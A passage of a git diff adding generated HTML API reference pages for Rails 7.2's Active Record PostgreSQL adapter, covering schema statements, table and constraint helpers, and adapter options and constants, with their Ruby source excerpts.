+                      " CONNECTION LIMIT = #{value}"
+                    else
+                      ""
+            end
+          end
+
+          execute "CREATE DATABASE #{quote_table_name(name)}#{option_string}"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create_schema(schema_name, force: nil, if_not_exists: nil) + +

+ + +
+

Creates a schema for the given schema name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 212
+        def create_schema(schema_name, force: nil, if_not_exists: nil)
+          if force && if_not_exists
+            raise ArgumentError, "Options `:force` and `:if_not_exists` cannot be used simultaneously."
+          end
+
+          if force
+            drop_schema(schema_name, if_exists: true)
+          end
+
+          execute("CREATE SCHEMA#{' IF NOT EXISTS' if if_not_exists} #{quote_schema_name(schema_name)}")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ctype() + +

+ + +
+

Returns the current database ctype.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 196
+        def ctype
+          query_value("SELECT datctype FROM pg_database WHERE datname = current_database()", "SCHEMA")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + current_database() + +

+ + +
+

Returns the current database name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 176
+        def current_database
+          query_value("SELECT current_database()", "SCHEMA")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + current_schema() + +

+ + +
+

Returns the current schema name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 181
+        def current_schema
+          query_value("SELECT current_schema", "SCHEMA")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + drop_schema(schema_name, **options) + +

+ + +
+

Drops the schema for the given schema name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 225
+        def drop_schema(schema_name, **options)
+          execute "DROP SCHEMA#{' IF EXISTS' if options[:if_exists]} #{quote_schema_name(schema_name)} CASCADE"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encoding() + +

+ + +
+

Returns the current database encoding format.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 186
+        def encoding
+          query_value("SELECT pg_encoding_to_char(encoding) FROM pg_database WHERE datname = current_database()", "SCHEMA")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exclusion_constraints(table_name) + +

+ + +
+

Returns an array of exclusion constraints for the given table. The exclusion constraints are represented as ExclusionConstraintDefinition objects.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 619
+        def exclusion_constraints(table_name)
+          scope = quoted_scope(table_name)
+
+          exclusion_info = internal_exec_query(<<-SQL, "SCHEMA")
+            SELECT conname, pg_get_constraintdef(c.oid) AS constraintdef, c.condeferrable, c.condeferred
+            FROM pg_constraint c
+            JOIN pg_class t ON c.conrelid = t.oid
+            JOIN pg_namespace n ON n.oid = c.connamespace
+            WHERE c.contype = 'x'
+              AND t.relname = #{scope[:name]}
+              AND n.nspname = #{scope[:schema]}
+          SQL
+
+          exclusion_info.map do |row|
+            method_and_elements, predicate = row["constraintdef"].split(" WHERE ")
+            method_and_elements_parts = method_and_elements.match(/EXCLUDE(?: USING (?<using>\S+))? \((?<expression>.+)\)/)
+            predicate.remove!(/ DEFERRABLE(?: INITIALLY (?:IMMEDIATE|DEFERRED))?/) if predicate
+            predicate = predicate.from(2).to(-3) if predicate # strip 2 opening and closing parentheses
+
+            deferrable = extract_constraint_deferrable(row["condeferrable"], row["condeferred"])
+
+            options = {
+              name: row["conname"],
+              using: method_and_elements_parts["using"].to_sym,
+              where: predicate,
+              deferrable: deferrable
+            }
+
+            ExclusionConstraintDefinition.new(table_name, method_and_elements_parts["expression"], options)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + foreign_keys(table_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 540
+        def foreign_keys(table_name)
+          scope = quoted_scope(table_name)
+          fk_info = internal_exec_query(<<~SQL, "SCHEMA", allow_retry: true, materialize_transactions: false)
+            SELECT t2.oid::regclass::text AS to_table, a1.attname AS column, a2.attname AS primary_key, c.conname AS name, c.confupdtype AS on_update, c.confdeltype AS on_delete, c.convalidated AS valid, c.condeferrable AS deferrable, c.condeferred AS deferred, c.conkey, c.confkey, c.conrelid, c.confrelid
+            FROM pg_constraint c
+            JOIN pg_class t1 ON c.conrelid = t1.oid
+            JOIN pg_class t2 ON c.confrelid = t2.oid
+            JOIN pg_attribute a1 ON a1.attnum = c.conkey[1] AND a1.attrelid = t1.oid
+            JOIN pg_attribute a2 ON a2.attnum = c.confkey[1] AND a2.attrelid = t2.oid
+            JOIN pg_namespace t3 ON c.connamespace = t3.oid
+            WHERE c.contype = 'f'
+              AND t1.relname = #{scope[:name]}
+              AND t3.nspname = #{scope[:schema]}
+            ORDER BY c.conname
+          SQL
+
+          fk_info.map do |row|
+            to_table = Utils.unquote_identifier(row["to_table"])
+            conkey = row["conkey"].scan(/\d+/).map(&:to_i)
+            confkey = row["confkey"].scan(/\d+/).map(&:to_i)
+
+            if conkey.size > 1
+              column = column_names_from_column_numbers(row["conrelid"], conkey)
+              primary_key = column_names_from_column_numbers(row["confrelid"], confkey)
+            else
+              column = Utils.unquote_identifier(row["column"])
+              primary_key = row["primary_key"]
+            end
+
+            options = {
+              column: column,
+              name: row["name"],
+              primary_key: primary_key
+            }
+
+            options[:on_delete] = extract_foreign_key_action(row["on_delete"])
+            options[:on_update] = extract_foreign_key_action(row["on_update"])
+            options[:deferrable] = extract_constraint_deferrable(row["deferrable"], row["deferred"])
+
+            options[:validate] = row["valid"]
+
+            ForeignKeyDefinition.new(table_name, to_table, options)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + foreign_table_exists?(table_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 589
+        def foreign_table_exists?(table_name)
+          query_values(data_source_sql(table_name, type: "FOREIGN TABLE"), "SCHEMA").any? if table_name.present?
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + foreign_tables() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 585
+        def foreign_tables
+          query_values(data_source_sql(type: "FOREIGN TABLE"), "SCHEMA")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + index_name_exists?(table_name, index_name) + +

+ + +
+

Verifies existence of an index with a given name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 68
+        def index_name_exists?(table_name, index_name)
+          table = quoted_scope(table_name)
+          index = quoted_scope(index_name)
+
+          query_value(<<~SQL, "SCHEMA").to_i > 0
+            SELECT COUNT(*)
+            FROM pg_class t
+            INNER JOIN pg_index d ON t.oid = d.indrelid
+            INNER JOIN pg_class i ON d.indexrelid = i.oid
+            LEFT JOIN pg_namespace n ON n.oid = t.relnamespace
+            WHERE i.relkind IN ('i', 'I')
+              AND i.relname = #{index[:name]}
+              AND t.relname = #{table[:name]}
+              AND n.nspname = #{table[:schema]}
+          SQL
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_exclusion_constraint(table_name, expression = nil, **options) + +

+ + +
+

Removes the given exclusion constraint from the table.

+ +
remove_exclusion_constraint :products, name: "price_check"
+
+ +

The expression parameter will be ignored if present. It can be helpful to provide this in a migration’s change method so it can be reverted. In that case, expression will be used by add_exclusion_constraint.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 722
+        def remove_exclusion_constraint(table_name, expression = nil, **options)
+          excl_name_to_delete = exclusion_constraint_for!(table_name, expression: expression, **options).name
+
+          at = create_alter_table(table_name)
+          at.drop_exclusion_constraint(excl_name_to_delete)
+
+          execute schema_creation.accept(at)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_unique_constraint(table_name, column_name = nil, **options) + +

+ + +
+

Removes the given unique constraint from the table.

+ +
remove_unique_constraint :sections, name: "unique_position"
+
+ +

The column_name parameter will be ignored if present. It can be helpful to provide this in a migration’s change method so it can be reverted. In that case, column_name will be used by add_unique_constraint.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 777
+        def remove_unique_constraint(table_name, column_name = nil, **options)
+          unique_name_to_delete = unique_constraint_for!(table_name, column: column_name, **options).name
+
+          at = create_alter_table(table_name)
+          at.drop_unique_constraint(unique_name_to_delete)
+
+          execute schema_creation.accept(at)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rename_index(table_name, old_name, new_name) + +

+ + +
+

Renames an index of a table. Raises error if length of new index name is greater than allowed limit.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 522
+        def rename_index(table_name, old_name, new_name)
+          validate_index_length!(table_name, new_name)
+
+          schema, = extract_schema_qualified_name(table_name)
+          execute "ALTER INDEX #{quote_table_name(schema) + '.' if schema}#{quote_column_name(old_name)} RENAME TO #{quote_table_name(new_name)}"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rename_table(table_name, new_name, **options) + +

+ + +
+

Renames a table. Also renames a table’s primary key sequence if the sequence name exists and matches the Active Record default.

+ +

Example:

+ +
rename_table('octopuses', 'octopi')
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 390
+        def rename_table(table_name, new_name, **options)
+          validate_table_length!(new_name) unless options[:_uses_legacy_table_name]
+          clear_cache!
+          schema_cache.clear_data_source_cache!(table_name.to_s)
+          schema_cache.clear_data_source_cache!(new_name.to_s)
+          execute "ALTER TABLE #{quote_table_name(table_name)} RENAME TO #{quote_table_name(new_name)}"
+          pk, seq = pk_and_sequence_for(new_name)
+          if pk
+            # PostgreSQL automatically creates an index for PRIMARY KEY with name consisting of
+            # truncated table name and "_pkey" suffix fitting into max_identifier_length number of characters.
+            max_pkey_prefix = max_identifier_length - "_pkey".size
+            idx = "#{table_name[0, max_pkey_prefix]}_pkey"
+            new_idx = "#{new_name[0, max_pkey_prefix]}_pkey"
+            execute "ALTER INDEX #{quote_table_name(idx)} RENAME TO #{quote_table_name(new_idx)}"
+
+            # PostgreSQL automatically creates a sequence for PRIMARY KEY with name consisting of
+            # truncated table name and "#{primary_key}_seq" suffix fitting into max_identifier_length number of characters.
+            max_seq_prefix = max_identifier_length - "_#{pk}_seq".size
+            if seq && seq.identifier == "#{table_name[0, max_seq_prefix]}_#{pk}_seq"
+              new_seq = "#{new_name[0, max_seq_prefix]}_#{pk}_seq"
+              execute "ALTER TABLE #{seq.quoted} RENAME TO #{quote_table_name(new_seq)}"
+            end
+          end
+          rename_table_indexes(table_name, new_name, **options)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + schema_exists?(name) + +

+ + +
+

Returns true if schema exists.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 63
+        def schema_exists?(name)
+          query_value("SELECT COUNT(*) FROM pg_namespace WHERE nspname = #{quote(name)}", "SCHEMA").to_i > 0
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + schema_names() + +

+ + +
+

Returns an array of schema names.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 201
+        def schema_names
+          query_values(<<~SQL, "SCHEMA")
+            SELECT nspname
+              FROM pg_namespace
+             WHERE nspname !~ '^pg_.*'
+               AND nspname NOT IN ('information_schema')
+             ORDER by nspname;
+          SQL
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + schema_search_path() + +

+ + +
+

Returns the active schema search path.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 242
+        def schema_search_path
+          @schema_search_path ||= query_value("SHOW search_path", "SCHEMA")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + schema_search_path=(schema_csv) + +

+ + +
+

Sets the schema search path to a string of comma-separated schema names. Names beginning with $ have to be quoted (e.g. $user => β€˜$user’). See: www.postgresql.org/docs/current/static/ddl-schemas.html

+ +

This should be not be called manually but set in database.yml.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 234
+        def schema_search_path=(schema_csv)
+          if schema_csv
+            internal_execute("SET search_path TO #{schema_csv}")
+            @schema_search_path = schema_csv
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + serial_sequence(table, column) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 267
+        def serial_sequence(table, column)
+          query_value("SELECT pg_get_serial_sequence(#{quote(table)}, #{quote(column)})", "SCHEMA")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unique_constraints(table_name) + +

+ + +
+

Returns an array of unique constraints for the given table. The unique constraints are represented as UniqueConstraintDefinition objects.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 653
+        def unique_constraints(table_name)
+          scope = quoted_scope(table_name)
+
+          unique_info = internal_exec_query(<<~SQL, "SCHEMA", allow_retry: true, materialize_transactions: false)
+            SELECT c.conname, c.conrelid, c.conkey, c.condeferrable, c.condeferred
+            FROM pg_constraint c
+            JOIN pg_class t ON c.conrelid = t.oid
+            JOIN pg_namespace n ON n.oid = c.connamespace
+            WHERE c.contype = 'u'
+              AND t.relname = #{scope[:name]}
+              AND n.nspname = #{scope[:schema]}
+          SQL
+
+          unique_info.map do |row|
+            conkey = row["conkey"].delete("{}").split(",").map(&:to_i)
+            columns = column_names_from_column_numbers(row["conrelid"], conkey)
+
+            deferrable = extract_constraint_deferrable(row["condeferrable"], row["condeferred"])
+
+            options = {
+              name: row["conname"],
+              deferrable: deferrable
+            }
+
+            UniqueConstraintDefinition.new(table_name, columns, options)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validate_check_constraint(table_name, **options) + +

+ + +
+

Validates the given check constraint.

+ +
validate_check_constraint :products, name: "price_check"
+
+ +

The options hash accepts the same keys as add_check_constraint[rdoc-ref:ConnectionAdapters::SchemaStatements#add_check_constraint].

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 883
+        def validate_check_constraint(table_name, **options)
+          chk_name_to_validate = check_constraint_for!(table_name, **options).name
+
+          validate_constraint table_name, chk_name_to_validate
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validate_constraint(table_name, constraint_name) + +

+ + +
+

Validates the given constraint.

+ +

Validates the constraint named constraint_name on accounts.

+ +
validate_constraint :accounts, :constraint_name
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 850
+        def validate_constraint(table_name, constraint_name)
+          at = create_alter_table table_name
+          at.validate_constraint constraint_name
+
+          execute schema_creation.accept(at)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validate_foreign_key(from_table, to_table = nil, **options) + +

+ + +
+

Validates the given foreign key.

+ +

Validates the foreign key on accounts.branch_id.

+ +
validate_foreign_key :accounts, :branches
+
+ +

Validates the foreign key on accounts.owner_id.

+ +
validate_foreign_key :accounts, column: :owner_id
+
+ +

Validates the foreign key named special_fk_name on the accounts table.

+ +
validate_foreign_key :accounts, name: :special_fk_name
+
+ +

The options hash accepts the same keys as SchemaStatements#add_foreign_key.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 872
+        def validate_foreign_key(from_table, to_table = nil, **options)
+          fk_name_to_validate = foreign_key_for!(from_table, to_table: to_table, **options).name
+
+          validate_constraint from_table, fk_name_to_validate
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/Table.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/Table.html new file mode 100644 index 0000000000..81e90d9850 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/Table.html @@ -0,0 +1,354 @@ +--- +title: ActiveRecord::ConnectionAdapters::PostgreSQL::Table +layout: default +--- +
+ +
+
+ +
+ +

Active Record PostgreSQL Adapter Table

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + exclusion_constraint(*args) + +

+ + +
+

Adds an exclusion constraint.

+ +
t.exclusion_constraint("price WITH =, availability_range WITH &&", using: :gist, name: "price_check")
+
+ +

See connection.add_exclusion_constraint

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb, line 305
+        def exclusion_constraint(*args)
+          @base.add_exclusion_constraint(name, *args)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_exclusion_constraint(*args) + +

+ + +
+

Removes the given exclusion constraint from the table.

+ +
t.remove_exclusion_constraint(name: "price_check")
+
+ +

See connection.remove_exclusion_constraint

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb, line 314
+        def remove_exclusion_constraint(*args)
+          @base.remove_exclusion_constraint(name, *args)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_unique_constraint(*args) + +

+ + +
+

Removes the given unique constraint from the table.

+ +
t.remove_unique_constraint(name: "unique_position")
+
+ +

See connection.remove_unique_constraint

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb, line 332
+        def remove_unique_constraint(*args)
+          @base.remove_unique_constraint(name, *args)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unique_constraint(*args) + +

+ + +
+

Adds a unique constraint.

+ +
t.unique_constraint(:position, name: 'unique_position', deferrable: :deferred)
+
+ +

See connection.add_unique_constraint

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb, line 323
+        def unique_constraint(*args)
+          @base.add_unique_constraint(name, *args)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validate_check_constraint(*args) + +

+ + +
+

Validates the given check constraint on the table

+ +
t.check_constraint("price > 0", name: "price_check", validate: false)
+t.validate_check_constraint name: "price_check"
+
+ +

See connection.validate_check_constraint

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb, line 352
+        def validate_check_constraint(*args)
+          @base.validate_check_constraint(name, *args)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validate_constraint(*args) + +

+ + +
+

Validates the given constraint on the table.

+ +
t.check_constraint("price > 0", name: "price_check", validate: false)
+t.validate_constraint "price_check"
+
+ +

See connection.validate_constraint

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb, line 342
+        def validate_constraint(*args)
+          @base.validate_constraint(name, *args)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/TableDefinition.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/TableDefinition.html new file mode 100644 index 0000000000..68bc345416 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/TableDefinition.html @@ -0,0 +1,241 @@ +--- +title: ActiveRecord::ConnectionAdapters::PostgreSQL::TableDefinition +layout: default +--- +
+ +
+
+ +
+ +

Active Record PostgreSQL Adapter Table Definition

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + +
+ [R] + exclusion_constraints
+ [R] + unique_constraints
+ [R] + unlogged
+ + + + +

Class Public methods

+ +
+

+ + new(*, **) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb, line 244
+        def initialize(*, **)
+          super
+          @exclusion_constraints = []
+          @unique_constraints = []
+          @unlogged = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + exclusion_constraint(expression, **options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb, line 251
+        def exclusion_constraint(expression, **options)
+          exclusion_constraints << new_exclusion_constraint_definition(expression, options)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unique_constraint(column_name, **options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb, line 255
+        def unique_constraint(column_name, **options)
+          unique_constraints << new_unique_constraint_definition(column_name, options)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/TypeMetadata.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/TypeMetadata.html new file mode 100644 index 0000000000..359849293b --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/TypeMetadata.html @@ -0,0 +1,60 @@ +--- +title: ActiveRecord::ConnectionAdapters::PostgreSQL::TypeMetadata +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQLAdapter.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQLAdapter.html new file mode 100644 index 0000000000..d91e95f681 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQLAdapter.html @@ -0,0 +1,2829 @@ +--- +title: ActiveRecord::ConnectionAdapters::PostgreSQLAdapter +layout: default +--- +
+ +
+
+ +
+ +

Active Record PostgreSQL Adapter

+ +

The PostgreSQL adapter works with the native C (github.com/ged/ruby-pg) driver.

+ +

Options:

+
  • +

    :host - Defaults to a Unix-domain socket in /tmp. On machines without Unix-domain sockets, the default is to connect to localhost.

    +
  • +

    :port - Defaults to 5432.

    +
  • +

    :username - Defaults to be the same as the operating system name of the user running the application.

    +
  • +

    :password - Password to be used if the server demands password authentication.

    +
  • +

    :database - Defaults to be the same as the username.

    +
  • +

    :schema_search_path - An optional schema search path for the connection given as a string of comma-separated schema names. This is backward-compatible with the :schema_order option.

    +
  • +

    :encoding - An optional client encoding that is used in a SET client_encoding TO <encoding> call on the connection.

    +
  • +

    :min_messages - An optional client min messages that is used in a SET client_min_messages TO <min_messages> call on the connection.

    +
  • +

    :variables - An optional hash of additional parameters that will be used in SET SESSION key = val calls on the connection.

    +
  • +

    :insert_returning - An optional boolean to control the use of RETURNING for INSERT statements defaults to true.

    +
+ +

Any further options are used as connection parameters to libpq. See www.postgresql.org/docs/current/static/libpq-connect.html for the list of parameters.

+ +

In addition, default connection parameters of libpq can be set per environment variables. See www.postgresql.org/docs/current/static/libpq-envars.html .

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ADAPTER_NAME="PostgreSQL"
DEADLOCK_DETECTED="40P01"
DUPLICATE_DATABASE="42P04"
FOREIGN_KEY_VIOLATION="23503"
LOCK_NOT_AVAILABLE="55P03"
NATIVE_DATABASE_TYPES={ +primary_key: "bigserial primary key", +string: { name: "character varying" }, +text: { name: "text" }, +integer: { name: "integer", limit: 4 }, +bigint: { name: "bigint" }, +float: { name: "float" }, +decimal: { name: "decimal" }, +datetime: {}, # set dynamically based on datetime_type +timestamp: { name: "timestamp" }, +timestamptz: { name: "timestamptz" }, +time: { name: "time" }, +date: { name: "date" }, +daterange: { name: "daterange" }, +numrange: { name: "numrange" }, +tsrange: { name: "tsrange" }, +tstzrange: { name: "tstzrange" }, +int4range: { name: "int4range" }, +int8range: { name: "int8range" }, +binary: { name: "bytea" }, +boolean: { name: "boolean" }, +xml: { name: "xml" }, +tsvector: { name: "tsvector" }, +hstore: { name: "hstore" }, +inet: { name: "inet" }, +cidr: { name: "cidr" }, +macaddr: { name: "macaddr" }, +uuid: { name: "uuid" }, +json: { name: "json" }, +jsonb: { name: "jsonb" }, +ltree: { name: "ltree" }, +citext: { name: "citext" }, +point: { name: "point" }, +line: { name: "line" }, +lseg: { name: "lseg" }, +box: { name: "box" }, +path: { name: "path" }, +polygon: { name: "polygon" }, +circle: { name: "circle" }, +bit: { name: "bit" }, +bit_varying: { name: "bit varying" }, +money: { name: "money" }, +interval: { name: "interval" }, +oid: { name: "oid" }, +enum: {} # special type https://www.postgresql.org/docs/current/datatype-enum.html +}
NOT_NULL_VIOLATION="23502"
NUMERIC_VALUE_OUT_OF_RANGE="22003"
QUERY_CANCELED="57014"
SERIALIZATION_FAILURE="40001"
UNIQUE_VIOLATION="23505"
VALUE_LIMIT_VIOLATION="22001"
 

See www.postgresql.org/docs/current/static/errcodes-appendix.html

+ + + + + + +

Class Public methods

+ +
+

+ + create_unlogged_tables + +

+ + +
+

PostgreSQL allows the creation of β€œunlogged” tables, which do not record data in the PostgreSQL Write-Ahead Log. This can make the tables faster, but significantly increases the risk of data loss if the database crashes. As a result, this should not be used in production environments. If you would like all created tables to be unlogged in the test environment you can add the following to your test.rb file:

+ +
ActiveSupport.on_load(:active_record_postgresqladapter) do
+  self.create_unlogged_tables = true
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 105
+      class_attribute :create_unlogged_tables, default: false
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + datetime_type + +

+ + +
+

PostgreSQL supports multiple types for DateTimes. By default, if you use datetime in migrations, Rails will translate this to a PostgreSQL β€œtimestamp without time zone”. Change this in an initializer to use another NATIVE_DATABASE_TYPES. For example, to store DateTimes as β€œtimestamp with time zone”:

+ +
ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.datetime_type = :timestamptz
+
+ +

Or if you are adding a custom type:

+ +
ActiveRecord::ConnectionAdapters::PostgreSQLAdapter::NATIVE_DATABASE_TYPES[:my_custom_type] = { name: "my_custom_type_name" }
+ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.datetime_type = :my_custom_type
+
+ +

If you’re using :ruby as your config.active_record.schema_format and you change this setting, you should immediately run bin/rails db:migrate to update the types in your schema.rb.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 123
+      class_attribute :datetime_type, default: :timestamp
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dbconsole(config, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 73
+        def dbconsole(config, options = {})
+          pg_config = config.configuration_hash
+
+          ENV["PGUSER"]         = pg_config[:username] if pg_config[:username]
+          ENV["PGHOST"]         = pg_config[:host] if pg_config[:host]
+          ENV["PGPORT"]         = pg_config[:port].to_s if pg_config[:port]
+          ENV["PGPASSWORD"]     = pg_config[:password].to_s if pg_config[:password] && options[:include_password]
+          ENV["PGSSLMODE"]      = pg_config[:sslmode].to_s if pg_config[:sslmode]
+          ENV["PGSSLCERT"]      = pg_config[:sslcert].to_s if pg_config[:sslcert]
+          ENV["PGSSLKEY"]       = pg_config[:sslkey].to_s if pg_config[:sslkey]
+          ENV["PGSSLROOTCERT"]  = pg_config[:sslrootcert].to_s if pg_config[:sslrootcert]
+          if pg_config[:variables]
+            ENV["PGOPTIONS"] = pg_config[:variables].filter_map do |name, value|
+              "-c #{name}=#{value.to_s.gsub(/[ \\]/, '\\\\\0')}" unless value == ":default" || value == :default
+            end.join(" ")
+          end
+          find_cmd_and_exec("psql", config.database)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + decode_dates + +

+ + +
+

